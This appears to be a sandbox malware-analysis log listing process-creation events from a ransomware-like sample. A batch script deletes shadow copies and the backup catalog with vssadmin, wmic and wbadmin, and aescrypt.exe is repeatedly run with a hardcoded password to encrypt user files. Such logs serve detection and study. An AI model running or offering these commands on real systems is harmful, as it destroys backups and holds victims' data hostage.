Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'
Source: C:\Users\user\Desktop\hztxqReczN.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\sysnative\cmd.exe' /c 'C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat C:\Users\user\Desktop\hztxqReczN.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic.exe shadowcopy delete	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog /quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'	Jump to behavior
